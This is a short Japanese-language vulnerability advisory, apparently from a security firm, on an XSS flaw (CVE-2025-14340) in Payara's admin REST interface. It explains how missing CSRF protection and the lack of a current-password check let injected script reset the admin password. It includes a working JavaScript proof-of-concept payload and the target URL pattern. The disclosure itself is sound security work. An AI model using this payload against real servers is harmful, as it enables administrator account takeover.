XSSによる管理者アカウント乗っ取り (CVE-2025-14340)

Payaraの管理RESTインターフェースにおけるクロスサイトスクリプティングの脆弱性により、攻撃者が制御するJavaScriptが実行され、管理者アカウントの乗っ取りにつながります。理由は以下の通りです：

1. パネルはHTTP Basic認証を使用しています（ブラウザが同一オリジンリクエストに対して自動的に認証情報を送信します）。
2. change-admin-passwordエンドポイントは、ユーザーのパスワードを更新する際に現在のパスワードを必要としません。
3. change-admin-passwordフォームにはCSRF保護がありません。
4. /management/domain/versionのXSSを使用した注入スクリプトは、/management/domain/change-admin-passwordにPOSTし、任意のターゲットアカウントに対して攻撃者が選択したパスワードを設定できます。その結果、管理者アカウントの乗っ取りが発生します。

概念実証

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

ペイロード:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

法的注意事項

許可された使用のみ。DeepSecurity Perúは不正アクセスを推奨せず、提供された情報の誤用について一切の責任を負いません。